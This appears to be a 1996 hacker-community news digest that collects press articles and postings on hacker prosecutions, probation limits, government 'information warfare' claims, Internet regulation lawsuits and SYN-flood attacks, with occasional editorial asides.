That's a crippling restriction in a society so reliant on computer technology, Poulsen complained in a telephone interview after a hearing last week in which the judge denied Poulsen's request to modify his terms of probation.

To comply with those rules, Poulsen said, his parents had to put their home computer in storage when he stayed with them. He can't use an electronic card catalog at the public library. And he relies on friends to maintain his World Wide Web site. He even asked his probation officer whether it was OK to drive because most cars contain microchips.

Living under government supervision apparently hasn't dampened the acerbic wit Poulsen displayed over the years.

Prankster humor

When authorities were tracking him, they found he'd kept photographs of himself, taken while burglarizing phone company offices, and that he'd created bogus identities in the names of favorite comic book characters.

Today, you can click on Poulsen's web page (http://www.catalog.com/kevin)

and read his account of his troubles with the law. Until it was revised Friday, you could click on the highlighted words "my probation officer" ‑‑ and see the scary red face of Satan.

But though he's still chafing at authority, Poulsen insists he's ready to be a law‑abiding citizen.

"The important thing to me," he said, "is just not wasting the next three years of my life." He said he's submitted nearly 70 job applications but has found work only with the political group, which he declined to identify.

Poulsen, who earned his high school diploma behind bars, said he wants to get a college degree. But authorities vetoed his plans to study computer science while working part‑time because they want him to put first priority on earning money for restitution.

Poulsen's federal probation officer, Marc Stein, said office policy prevents him from commenting on the case. Poulsen's court‑appointed attorney, Michael Brennan, also declined comment.

Differing view

But Assistant U.S. Attorney David Schindler partly disputed Poulsen's account.

"Nobody wants to see Mr. Poulsen fail," said Schindler, who has prosecuted both Poulsen and Kevin Mitnick, another young man from the San Fernando Valley whose interest in computers and telephones became a passion that led to federal charges.

Schindler said Stein is simply being prudent: "It would be irresponsible for the probation office to permit him to have unfettered access to computers."

Legal experts say there's precedent for restricting a hacker's access to computers, just as paroled felons may be ordered not to possess burglary tools or firearms. Still, some say it's going too far.

"There are so many benign things one can do with a computer," said Charles Marson, a former attorney for the American Civil Liberties Union who handles high‑tech cases in private practice. "If it were a typewriter and he pulled some scam with it or wrote a threatening note, would you condition his probation on not using a typewriter?"

But Carey Heckman, co‑director of the Law and Technology Policy Center at Stanford University, suggested another analogy: "Would you want to put an arsonist to work in a match factory?"

Friends defend Poulsen.

Over the years, Poulsen's friends and defense lawyers have argued that prosecutors exaggerated the threat he posed, either because law officers didn't understand the technology he was using or because his actions seemed to flaunt authority.

Hacking is "sort of a youthful rebellion thing," Poulsen says now. "I'm far too old to get back into that stuff."

But others who've followed Poulsen's career note that he had earlier chances to reform.

He was first busted for hacking into university and government computers as a teen‑ager. While an older accomplice went to jail, Poulsen was offered a job working with computers at SRI, the private think tank that does consulting for the Defense Department and other clients.

There, Poulsen embarked on a double life: A legitimate programmer by day, he began breaking into Pacific Bell offices and hacking into phone company computers at night.

When he learned FBI agents were on his trail, he used his skills to track their moves.

Before going underground in 1989, he also obtained records of secret wiretaps from unrelated investigations. Though Poulsen said he never tipped off the targets, authorities said they had to take steps to ensure those cases weren't compromised.

According to Schindler, the probation office will consider Poulsen's requests to use computers "on a case‑by‑case basis."

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[* Blurb on Bernie's release follows this article. *]

title: Computer Hacker Severely Beaten after Criticizing Prison Conditions Target of Campaign by U.S. Secret Service

A convicted hacker, in prison for nothing more than possession of electronic parts easily obtainable at any Radio Shack, has been savagely beaten after being transferred to a maximum security prison as punishment for speaking out publicly about prison conditions. Ed Cummings, recently published in Wired and Internet Underground, as well as a correspondent for WBAI‑FM in New York and 2600 Magazine, has been the focus of an increasingly ugly campaign of harrassment and terror from the authorities. At the time of this writing, Cummings is locked in the infectious diseases ward at Lehigh County prison in Allentown, Pennsylvania, unable to obtain the proper medical treatment for the severe injuries he has suffered.

The Ed Cummings case has been widely publicized in the computer hacker community over the past 18 months. In March of 1995, in what can only be described as a bizarre application of justice, Cummings (whose pen name is "Bernie S.") was targetted and imprisoned by the United States Secret Service for mere possession of technology that could be used to make free phone calls. Although the prosecution agreed there was no unauthorized access, no victims, no fraud, and no costs associated with the case, Cummings was imprisoned under a little known attachment to the Digital Telephony bill allowing individuals to be charged in this fashion. Cummings was portrayed by the Secret Service as a potential terrorist because of some of the books found in his library.

A year and a half later, Cummings is still in prison, despite the fact that he became eligible for parole three months ago. But things have now taken a sudden violent turn for the worse. As apparent retribution for Cummings' continued outspokenness against the daily harrassment and numerous injustices that he has faced, he was transferred on Friday to Lehigh County Prison, a dangerous maximum security facility. Being placed in this facility was in direct opposition to his sentencing order. The reason given by the prison: "protective custody".

A day later, Cummings was nearly killed by a dangerous inmate for not getting off the phone fast enough. By the time the prison guards stopped the attack, Cummings had been kicked in the face so many times that he lost his front teeth and had his jaw shattered. His arm, which he tried to use to shield his face, was also severely injured. It is expected that his mouth will be wired shut for up to three months. Effectively, Cummings has now been silenced at last.

>From the start of this ordeal, Cummings has always maintained his composure and confidence that one day the injustice of his imprisonment will be realized. He was a weekly contributor to a radio talk show in New York where he not only updated listeners on his experiences, but answered their questions about technology. People from as far away as Bosnia and China wrote to him, having heard about his story over the Internet.

Now we are left to piece these events together and to find those responsible for what are now criminal actions against him. We are demanding answers to these questions: Why was Cummings transferred for no apparent reason from a minimum security facility to a very dangerous prison? Why has he been removed from the hospital immediately after surgery and placed in the infectious diseases ward of the very same prison, receiving barely any desperately needed medical attention? Why was virtually every moment of Cummings' prison stay a continuous episode of harrassment, where he was severely punished for such crimes as receiving a fax (without his knowledge) or having too much reading material? Why did the Secret Service do everything in their power to ruin Ed Cummings' life?

Had these events occurred elsewhere in the world, we would be quick to condemn them as barbaric and obscene. The fact that such things are taking place in our own back yards should not blind us to the fact that they are just as unacceptable.

Lehigh County Prison will be the site of several protest actions as will the Philadelphia office of the United States Secret Service. For more information on this, email protest@2600.com or call our office at (516) 751‑2600.

9/4/96

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Bernie S. Released!

As of Friday, September 13th, Bernie S. was released from prison on an unprecedented furlough. He will have to report to probation and he still has major medical problems as a result of his extended tour of the Pennsylvania prison system. But the important thing is that he is out and that this horrible ordeal has finally begun to end.

We thank all of you who took an interest in this case. We believe it was your support and the pressure you put on the authorities that finally made things change. Thanks again and never forget the power you have.

emmanuel@2600.com

www.2600.com

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: <The Squidge Busted>

ENGLAND:

The Squidge was arrested at his home yesterday under the Computer Misuse Act. A long standing member of the US group the *Guild, Squidge was silent today after being released but it appears no formal charges will be made until further interviews have taken place.

Included in the arrest were the confiscation of his computer equipment including two Linux boxes and a Sun Sparc. A number of items described as 'telecommunications devices' were also seized as evidence.

Following the rumours of ColdFire's recent re‑arrest for cellular fraud this could mean a new crackdown on hacking and phreaking by the UK authorities. If this is true, it could spell the end for a particularly open period in h/p history when notable figures have been willing to appear more in public.

We will attempt to release more information as it becomes available.

(not posted by Squidge)

‑‑

Brought to you by The NeXus.....

[* Good luck goes out to Squidge.. we are hoping for the best. *]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: School Hires Student to Hack Into Computers

source: The Sun Herald ‑ 22 August 1996

Palisades Park, NJ ‑ When in trouble, call an expert.

Students at Palisades Park's high school needed their transcripts to send off to colleges. But they were in the computer and no one who knew the password could be reached. So the school hired a 16‑year‑old hacker to break in.

"They found this student who apparently was a whiz, and, apparently, was able to go in and unlock the password," School Board attorney Joseph R. Mariniello said.

Superintendent George Fasciano was forced to explain to the School Board on Monday the $875 bill for the services of Matthew Fielder.

[* He should have charged more :) *]

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Paranoia and Brit Hackers Fuel Infowar Craze in Spy Agencies author: unknown

source: Crypt Newsletter 38

Electronic doom will soon be visited on U.S. computer networks by information warriors, hackers, pannational groups of computer‑wielding religious extremists, possible agents of Libya and Iran, international thugs and money‑mad Internet savvy thieves.

John Deutch, director of Central Intelligence, testified to the truth of the matter, so it must be graven in stone. In a long statement composed in the august tone of the Cold Warrior, Deutch said to the Senate Permanent Subcommittee on Investigations on June 25, "My greatest concern is that hackers, terrorist organizations, or other nations might use information warfare techniques" to disrupt the national infrastructure.

"Virtually any 'bad actor' can acquire the hardware and software needed to attack some of our critical information‑based infrastructures. Hacker tools are readily available on the Internet, and hackers themselves are a source of expertise for any nation or foreign terrorist organization that is interested in developing an information warfare capability. In fact, hackers, with or without their full knowledge, may be supplying advice and expertise to rogue states such as Iran and Libya."

In one sentence, the head of the CIA cast hackers ‑‑ from those more expert than Kevin Mitnick to AOLHell‑wielding idiots calling an America On‑Line overseas account ‑‑ as pawns of perennial international bogeymen, Libya and Iran.

Scrutiny of the evidence that led to this conclusion was not possible since it was classified, according to Deutch.

" . . . we have [classified] evidence that a number of countries around the world are developing the doctrine, strategies, and tools to conduct information attacks," said Deutch.

Catching glimpses of shadowy enemies at every turn, Deutch characterized them as operating from the deep cover of classified programs in pariah states. Truck bombs aimed at the telephone company, electronic assaults by "paid hackers" are likely to

be part of the arsenal of anyone from the Lebanese Hezbollah

to "nameless . . . cells of international terrorists such as those who attacked the World Trade Center."

Quite interestingly, a Minority Staff Report entitled "Security and Cyberspace" and presented to the subcommittee around the same time as Deutch's statement, presented a different picture. In its attempt to raise the alarm over hacker assaults on the U.S., it inadvertently portrayed the intelligence community responsible for appraising the threat as hidebound stumblebums, Cold Warriors resistant to change and ignorant or indifferent to the technology of computer networks and their misuse.

Written by Congressional staff investigators Dan Gelber and Jim Christy, the report quotes an unnamed member of the intelligence community likening threat assessment in the area to "a toddler soccer game, where everyone just runs around trying to kick the ball somewhere." Further, assessment of the threat posed by information warriors was "not presently a priority of our nation's intelligence and enforcement communities."

The report becomes more comical with briefings from intelligence agencies said to be claiming that the threat of hackers and information warfare is "substantial" but completely unable to provide a concrete assessment of the threat because few or no personnel were working on the subject under investigation. "One agency assembled [ten] individuals for the Staff briefing, but ultimately admitted that only one person was actually working 'full time' on intelligence collection and threat analysis," write Gelber and Christy.

The CIA is one example.

"Central Intelligence Agency . . . staffs an 'Information Warfare Center'; however, at the time of [the] briefing, barely a handful of persons were dedicated to collection and on [sic] defensive information warfare," comment the authors.

" . . . at no time was any agency able to present a national threat assessment of the risk posed to our information infrastructure," they continue. Briefings on the subject, if any and at any level of classification, "consisted of extremely limited anecdotal information."

Oh no, John, say it ain't so!

The minority report continues to paint a picture of intelligence agencies that have glommed onto the magic words "information warfare" and "hackers" as mystical totems, grafting the subjects onto "pre‑existing" offices or new "working groups." However, the operations are based only on labels. "Very little prioritization" has been done, there are few analysts working on the subjects in question.

Another "very senior intelligence officer for science and technology" is quoted claiming "it will probably take the intelligence community years to break the traditional paradigms, and re‑focus resources" in the area.

Restated, intelligence director Deutch pronounced in June there was classified evidence that hackers are in league with Libya and Iran and that countries around the world are plotting plots to attack the U.S. through information warfare. But the classified data is and was, at best, anecdotal gossip ‑‑ hearsay, bullshit ‑‑ assembled by perhaps a handful of individuals working haphazardly inside the labyrinth of the intelligence community. There is no real threat assessment to back up the Deutch claims. Can anyone say _bomber gap_?

The lack of solid evidence for any of the claims made by the intelligence community has created an unusual stage on which two British hackers, Datastream Cowboy and Kuji, were made the dog and pony in a ridiculous show to demonstrate the threat of information warfare to members of Congress. Because of a break‑in at an Air Force facility in Rome, NY, in 1994, booth hackers were made the stars of two Government Accounting Office reports on network intrusions in the Department of Defense earlier this year. The comings and goings of Datastream Cowboy also constitute the meat of Gelber and Christy's minority staff report from the Subcommittee on Investigations.

Before delving into it in detail, it's interesting to read what a British newspaper published about Datastream Cowboy, a sixteen year‑old, about a year before he was made the poster boy for information warfare and international hacking conspiracies in front of Congress.

In a brief article, blessedly so in contrast to the reams of propaganda published on the incident for Congress, the July 5 1995 edition of The Independent wrote, "[Datastream Cowboy] appeared before Bow Street magistrates yesterday charged with unlawfully gaining access to a series of American defense computers. Richard Pryce, who was 16 at the time of the alleged offences, is accused of accessing key US Air Force systems and a network owned by Lockheed, the missile and aircraft manufacturers."

Pryce, a resident of a northwest suburb of London did not enter a plea on any of 12 charges levied against him under the British Computer Misuse Act. He was arrested on May 12, 1994, by New Scotland Yard as a result of work by the U.S. Air Force Office of Special Investigations. The Times of London reported when police came for Pryce, they found him at his PC on the third floor of his family's house. Knowing he was about to be arrested, he "curled up on the floor and cried."

In Gelber and Christy's staff report, the tracking of Pryce, and to a lesser extent a collaborator called Kuji ‑‑ real name Mathew Bevan, is retold as an eight page appendix entitled "The Case Study: Rome Laboratory, Griffiss Air Force Base, NY Intrusion."

Pryce's entry into Air Force computers was noticed on March 28, 1994, when personnel discovered a sniffer program he had installed on one of the Air Force systems in Rome. The Defense Information System Agency (DISA) was notified. DISA subsequently called the Air Force Office of Special Investigations (AFOSI) at the Air Force Information Warfare Center in San Antonio, Texas. AFOSI then sent a team to Rome to appraise the break‑in, secure the system and trace those responsible. During the process, the AFOSI team discovered Datastream Cowboy had entered the Rome Air Force computers for the first time on March 25, according to the report. Passwords had been compromised, electronic mail read and deleted and unclassified "battlefield simulation" data copied off the facility. The

Rome network was also used as a staging area for penetration of other systems on the Internet.

AFOSI investigators initially traced the break‑in back one step to the New York City provider, Mindvox. According to the Congressional report, this put the NYC provider under suspicion because "newspaper articles" said Mindvox's computer security was furnished by two "former Legion of Doom members." "The Legion of Doom is a loose‑knit computer hacker group which had several members convicted for intrusions into corporate telephone switches in 1990 and 1991," wrote Gelber and Christy.

AFOSI then got permission to begin monitoring ‑‑ the equivalent of wiretapping ‑‑ all communications on the Air Force network. Limited observation of other Internet providers being used during the break‑in was conducted from the Rome facilities. Monitoring told the investigators the handles of hackers involved in the Rome break‑in were Datastream Cowboy and Kuji.

Since the monitoring was of limited value in determining the whereabouts of Datastream Cowboy and Kuji, AFOSI resorted to "their human intelligence network of informants, i.e., stool pigeons, that 'surf the Internet.' Gossip from one AFOSI 'Net stoolie uncovered that Datastream Cowboy was from Britain. The anonymous source said he had e‑mail correspondence with Datastream Cowboy in which the hacker said he was a 16‑year old living in England who enjoyed penetrating ".MIL" systems. Datastream Cowboy also apparently ran a bulletin board system and gave the telephone number to the AFOSI source.

The Air Force team contacted New Scotland Yard and the British law enforcement agency identified the residence, the home of Richard Pryce, which corresponded to Datastream Cowboy's system phone number. English authorities began observing Pryce's phone calls and noticed he was making fraudulent use of British Telecom. In addition, whenever intrusions at the Air Force network in Rome occurred, Pryce's number was seen to be making illegal calls out of Britain.

Pryce travelled everywhere on the Internet, going through South America, multiple countries in Europe and Mexico, occasionally entering the Rome network. From Air Force computers, he would enter systems at Jet Propulsion Laboratory in Pasadena, California, and the Goddard Space Flight Center in Greenbelt, Maryland. Since Pryce was capturing the logins and passwords of the Air Force networks in Rome, he was then able to get into the home systems of Rome network users, defense contractors like Lockheed.

By mid‑April of 1994 the Air Force was monitoring other systems being used by the British hackers. On the 14th of the month, Kuji logged on to the Goddard Space Center from a system in Latvia and copied data from it to the Baltic country. According to Gelber's report, the AFOSI investigators assumed the worst, that it was a sign that someone in an eastern European country was making a grab for sensitive information. They broke the connection but not before Kuji had copied files off the Goddard system. As it turned out, the Latvian computer was just another system the British hackers were using as a stepping stone; Pryce had also used it to cover his tracks when penetrating networks at Wright‑Patterson Air Force Base in Ohio, via an intermediate system in Seattle, cyberspace.com.

The next day, Kuji was again observed trying to probe various systems at NATO in Brussels and The Hague as well as Wright‑Patterson. On the 19th, Pryce successfully returned to NATO systems in The Hague through Mindvox. The point Gelber and Christy seem to be trying to make is that Kuji, a 21‑year old, was coaching Pryce during some of his attacks on various systems.

By this point, New Scotland Yard had a search warrant for Pryce with the plan being to swoop down on him the next time he accessed the Air Force network in Rome.

In April, Pryce penetrated a system on the Korean peninsula and copied material off a facility called the Korean Atomic Research Institute to an Air Force computer in Rome. At the time, the investigators had no idea whether the system was in North or South Korea. The impression created is one of hysteria and confusion at Rome. There was fear that the system, if in North Korea, would trigger an international incident, with the hack interpreted as an "aggressive act of war." The system turned out to be in South Korea.

During the Korean break‑in, New Scotland Yard could have intervened and arrested Pryce. However, for unknown reasons, the agency did not. Those with good memories may recall mainstream news reports concerning Pryce's hack, which was cast as an entry into sensitive North Korean networks.

It's worth noting that while the story was portrayed as the work of an anonymous hacker, both the U.S. government and New Scotland Yard knew who the perpetrator was. Further, according to Gelber's report English authorities already had a search warrant for Pryce's house.

Finally, on May 12 British authorities pounced. Pryce was arrested and his residence searched. He crumbled, according to the Times of London, and began to cry. Gelber and Christy write that Pryce promptly admitted to the Air Force break‑ins as well as others. Pryce confessed he had copied a large program that used artificial intelligence to construct theoretical Air Orders of Battle from an Air Force computer to Mindvox and left it there because of its great size, 3‑4 megabytes. Pryce paid for his Internet service with a fraudulent credit card number. At the time, the investigators were unable to find out the name and whereabouts of Kuji. A lead to an Australian underground bulletin board system failed to pan out.

On June 23 of this year, Reuters reported that Kuji ‑‑ 21‑year‑old Mathew Bevan ‑‑ a computer technician, had been arrested and charged in connection with the 1994 Air Force break‑ins in Rome.

Rocker Tom Petty sang that even the losers get lucky some time. He wasn't thinking of British computer hackers but no better words could be used to describe the two Englishmen and a two year old chain of events that led to fame as international computer terrorists in front of Congress at the beginning of the summer of 1996.

Lacking much evidence for the case of conspiratorial computer‑waged campaigns of terror and chaos against the U.S., the makers of Congressional reports resorted to telling the same story over and over, three times in the space of the hearings on the subject. One envisions U.S. Congressmen too stupid or apathetic to complain, "Hey, didn't we get that yesterday, and the day before?" Pryce and Bevan appeared in "Security in Cyberspace" and twice in Government Accounting Office reports AIMD‑96‑84 and T‑AIMD96‑92. Jim Christy, the co‑author of "Security in Cyberspace" and the Air Force Office of Special Investigations' source for the Pryce case supplied the same tale for Jack Brock, author of the GAO reports. Brock writes, ". . . Air Force officials told us that at least one of the hackers may have been working for a foreign country interested in obtaining military research data or areas in which the Air Force was conducting advanced research." It was, apparently, more wishful thinking.

Notes:

The FAS Web site also features an easy to use search engine which can be used to pull up the Congressional testimony on hackers and network intrusion. These example key words are effective: "Jim Christy," "Datastream Cowboy".

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers Find Cheap Scotland Yard Phone Connection

source: Reuters/Variety

Monday August 5 12:01 AM EDT

LONDON (Reuter) ‑ Computer hackers broke into a security system at Scotland Yard, London's metropolitan police headquarters, to make international calls at police expense, police said Sunday.

A police spokesman would not confirm a report in the Times newspaper that the calls totaled one million pounds ($1.5 million). He said the main computer network remained secure.

"There is no question of any police information being accessed," the spokesman said. "This was an incident which was investigated by our fraud squad and by AT&T investigators in the U.S."

AT&T Corp investigators were involved because most of the calls were to the United States, the Times said.

According to The Times, the hackers made use of a system called PBX call forwarding that lets employees to make business calls from home at their employer's expense.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: U.S. Official Warns OF "Electronic Pearl Harbor"

source: BNA Daily Report ‑ 17 Jul 96

Deputy U.S. Attorney General Jamie Gorelick told a Senate subcommittee last week that the possibility of "an electronic Pearl Harbor" is a very real danger for the U.S. She noted in her testimony that the U.S. information infrastructure is a hybrid public/private network, and warned that electronic attacks "can disable or disrupt the provision of services just as readily as ‑if not more than ‑‑ a well‑placed bomb." On July 15 the Clinton Administration called for a President's Commission on Critical Infrastructure Protection, with the mandate to identify the nature of threats to U.S. infrastructure, both electronic and physical, and to work with the private sector in devising a strategy for protecting this infrastructure. At an earlier hearing, subcommittee members were told that about 250,000 intrusions into Defense Department computer systems are attempted each year, with about a 65% success rate.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Suit Challenges State's Restraint of the Internet Via AP author: Jared Sandberg

source: The Wall Street Journal

Can the state of Georgia hold sway over the global Internet?

A federal lawsuit filed against the state Tuesday by the American Civil Liberties Union should eventually answer that question. The suit, filed in federal district court in Georgia, challenges a new Georgia law that makes it illegal in some instances to communicate anonymously on the Internet and to use trademarks and logos without permission.

The ACLU, joined by 13 plaintiffs including an array of publicinterest groups, contends that the Georgia law is "unconstitutionally vague" and that its restraints on using corporate logos and trade names are "impermissibly chilling constitutionally protected expression." The plaintiffs also argue that the Georgia law, which imposes a penalty of up to 12 months in jail and $1,000 in fines, illegally tries to impose state restrictions on interstate commerce, a right reserved for Congress.

The legal challenge is one of the first major assaults on state laws that seek to rein in the Internet, despite its global reach and audience. Since the beginning of 1995, 11 state legislatures have passed Internet statutes and nine others have considered taking action.

Connecticut passed a law last year that makes it a crime to send an electronic‑mail message "with intent to harass, annoy or alarm another person" ‑‑ despite the Internet's hallowed tradition of "flaming" users with messages designed to do just that. Virginia enacted a bill this year making it illegal for a state employee ‑‑ including professors who supposedly have academic freedom on state campuses ‑to use state‑owned computers to get access to sexually explicit material. New York state has tried to resurrect prohibitions on "indecent material" that were struck down as unconstitutional by a federal appeals panel ruling on the federal Communications Decency Act three months ago.

Most Internet laws target child pornographers and stalkers. Opponents argue the well‑intended efforts could nonetheless chill free speech and the development of electronic commerce. They maintain that the Internet, which reaches into more than 150 countries, shouldn't be governed by state laws that could result in hundreds of different, and often conflicting, regulations.

"We've got to nip this in the bud and have a court declare that states can't regulate the Internet because it would damage interstate commerce," says Ann Beeson, staff attorney for the ACLU. "Even though it's a Georgia statute, it unconstitutionally restricts the ability of anybody on the Internet to use a pseudonym or to link to a Web page that contains a trade name or logo. It is unconstitutional on its face."

Esther Dyson, president of high‑tech publisher EDventure Holdings Inc. and chairwoman of the Electronic Frontier Foundation, a high‑tech civil liberties organization that is a co‑plaintiff in the lawsuit, calls the Georgia law "brain‑damaged and unenforceable" and adds: "How are they going to stop people from using fake names? Anonymity shouldn't be a crime. Committing crimes should be a crime."

But Don Parsons, the Republican state representative who sponsored the Georgia bill, countered that the law is a necessary weapon to combat fraud, forgery and other on‑line misdeeds. The groups that oppose it, he says, "want to present (the Internet) as something magical, as something above and beyond political boundaries." It is none of these things, he adds.

Nor does the Georgia law seek to ban all anonymity, Mr. Parsons says; instead, it targets people who "fraudulently misrepresent their (Web) site as that of another organization." Misrepresenting on‑line medical information, for example, could cause serious harm to an unsuspecting user, he says.

But Mr. Parsons's critics, including a rival state lawmaker, Rep. Mitchell Kaye, say political reprisal lies behind the new law. They say Mr. Parsons and his political allies were upset by the Web site run by Mr. Kaye, which displayed the state seal on its opening page and provided voting records and sometimes harsh political commentary. Mr. Kaye asserts that his Web site prompted the new law's attack on logos and trademarks that are used without explicit permission.

"We've chosen to regulate free speech in the same manner that communist China, North Korea, Cuba and Singapore have," Mr. Kaye says. "Legislators' lack of understanding has turned to fear. It has given Georgia a black eye and sent a message to the world ‑‑ that we don't understand and are inhospitable to technology."

Mr. Parsons denies that the political Web site was the primary reason for his sponsorship of the new statute.

The very local dispute underscores the difficulty of trying to legislate behavior on the Internet. "It creates chaos because I don't know what rules are going to apply to me," says Lewis Clayton, a partner at New York law firm Paul, Weiss, Rifkind, Wharton & Garrison. "Whose laws are going to govern commercial transactions? You don't want to have every different state with the ability to regulate what is national or international commerce."

In the case of the Georgia statute, while its backers say it isn't a blanket ban of anonymity, opponents fear differing interpretations of the law could lead to the prosecution of AIDS patients and childabuse survivors who use anonymity to ensure privacy when they convene on the Internet.

"Being able to access these resources anonymously really is crucial," says Jeffery Graham, executive director of the AIDS Survival Project, an Atlanta service that joined the ACLU in the lawsuit. His group's members "live in small communities," he says, and if their identities were known, "they would definitely suffer from stigmas and reprisals."

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: U.S. Government Plans Computer Emergency Response Team source: Chronicle of Higher Education ‑ 5 Jul 96

The federal government is planning a centralized emergency response team to respond to attacks on the U.S. information infrastructure. The Computer Emergency Response Team at Carnegie Mellon University, which is financed through the Defense Department, will play a major role in developing the new interagency group, which will handle security concerns related to the Internet, the telephone system, electronic banking systems, and the computerized systems that operate the country's oil pipelines and electrical power grids.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers $50K challenge to break Net security system source: Online Business Today

World Star Holdings in Winnipeg, Canada is looking for

trouble. If they find it, they're willing to pay $50,000 to the first person who can break their security system. The

company has issued an open invitation to take the "World

Star Cybertest '96: The Ultimate Internet Security Challenge," in order to demonstrate the Company's Internet security

system.

Personal email challenges have been sent to high profile

names such as Bill Gates, Ken Rowe at the National Center

for Super Computing, Dr. Paul Penfield, Department of

Computer Science at the M.I.T. School of Engineering and researchers Drew Dean and Dean Wallach of Princeton

University.

[* Challenging Bill Gates to hack a security system is like challenging Voyager to a knitting contest. *]

OBT's paid subscription newsletter Online Business

Consultant has recently quoted the Princeton team in several Java security reports including "Deadly Black Widow On The

Web: Her Name is JAVA," "Java Black Widows‑‑‑Sun

Declares War," Be Afraid. Be Very Afraid" and "The

Business Assassin." To read these reports go to Home Page

Press http://www.hpp.com and scroll down the front page.

Brian Greenberg, President of World Star said, "I personally signed, sealed and emailed the invitations and am very

anxious to see some of the individuals respond to the

challenge. I am confident that our system is, at this time, the most secure in cyberspace."

World Star Holdings, Ltd., is a provider of interactive "transactable" Internet services and Internet security technology which Greenberg claims has been proven

impenetrable. The Company launched its online contest

offering more than $50,000 in cash and prizes to the first person able to break its security system.

According to the test's scenario hackers are enticed into a virtual bank interior in search of a vault. The challenge is to unlock it and find a list of prizes with inventory numbers and

a hidden "cyberkey" number. OBT staff used Home Page

Press's Go.Fetch (beta) personal agent software to retrieve the World Star site and was returned only five pages.

If you're successful, call World Star at 204‑943‑2256. Get to it hackers. Bust into World Star at http://205.200.247.10 to

get the cash!

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Criminal cult begins PGP crack attempt

from: grady@netcom.com (Grady Ward)

The Special Master has informed me that Madame Kobrin has asked her to retain a PC expert to attempt to "crack" a series of pgp‑encrypted multi‑megabyte files that were seized along with more than a compressed gigabyte of other material from my safety deposit box.

Ironically, they phoned to ask for assistance in supplying them with a prototype "crack" program that they could use in iterating and permuting possibilities. I did supply them a good core pgpcrack source that can search several tens of thousands of possible key phrases a seconds; I also suggested that they should at least be using a P6‑200 workstation or better to make the search more efficient.

The undercurrent is that this fresh hysterical attempt to "get" something on me coupled with the daily settlement pleas reflects the hopelessness of the litigation position of the criminal cult.

It looks like the criminal cult has cast the die to ensure that the RTC vs Ward case is fought out to the bitter end. Which I modestly predict will be a devastating, humiliating defeat for them from a pauper pro per.

I have given them a final settlement offer that they can leave or take. Actually they have a window of opportunity now to drop the suit since my counterclaims have been dismissed (although Judge Whyte invited me to re‑file a new counterclaim motion on more legally sufficiant basis).

I think Keith and I have found a successful counter‑strategy to the cult's system of litigation harassment.

Meanwhile, I could use some help from veteran a.r.s'ers. I need any copy you have of the Cease and Desist letter that you may have received last year from Eliot Abelson quondam criminal cult attorney and Eugene Martin Ingram spokespiece.

Physical mail:

Grady Ward

3449 Martha Ct.

Arcata, CA 95521‑4884

JP's BMPs or fax‑images to:

grady@northcoast.com

Thanks.

Grady Ward

Ps. I really do need all of your help and good wishes after all. Thanks for all of you keeping the net a safe place to insult kook kults.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Hackers Bombard Internet

author: Dinah Zeiger

source: Denver Post

9/21/96

Computer hackers have figured out a new way to tie the Internet in knots ‑ flooding network computers with messages so other users can't access them.

Late Thursday, the federally funded Computer Emergency Response Team at Carnegie‑Mellon University in Pittsburgh issued an advisory to Internet service providers, universities and governments detailing the nature of the attacks, which have spread to about 15 Internet services over the past six weeks. Three were reported this week. Thus far, none of the Colorado‑based Internet providers contacted has been victimized, but all are on alert and preparing defenses. The worst of it is that there is no rock‑solid defense, because the attacks are launched using the same rules ‑ or protocols‑ that allow Internet computers to establish a connection.

The best the Computer Emergency Response Team can do so far is to suggest modifications that can reduce the likelihood that a site will be targeted.

In essence, hackers bombard their victim sites with hundreds of messages from randomly generated, fictitious addresses. The targeted computers overload when they try to establish a connection with the false sites. It doesn't damage the network, it just paralyzes it. The Computer Emergency Response Team traces the attacks to two underground magazines, 2600 and Phrack, which recently published the code required to mount the assaults.

[* Uh, wait.. above it said messages.. which sounds more like usenet, not SYN Floods.. *]

"It's just mischief," said Ted Pinkowitz, president of Denver based e‑central. "They're just doing it to prove that it can be done." One local Internet service provider, who declined to be identified because he fears being targeted, said it goes beyond pranks. "It's malicious," he said. "They're attacking the protocols that are the most basic glue of the Internet and it will take some subtle work to fix it. You can't just redesign the thing, because it's basic to the operation of the entire network."

The response team says tracking the source of an attack is difficult, but not impossible.

"We have received reports of attack origins being identified," the advisory says.

[=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

title: Crypto Mission Creep

author: Brock N. Meeks

The Justice Department has, for the first time, publicly acknowledged using the code‑breaking technologies of the National Security Agency, to help with domestic cases, a situation that strains legal boundaries of the agency.

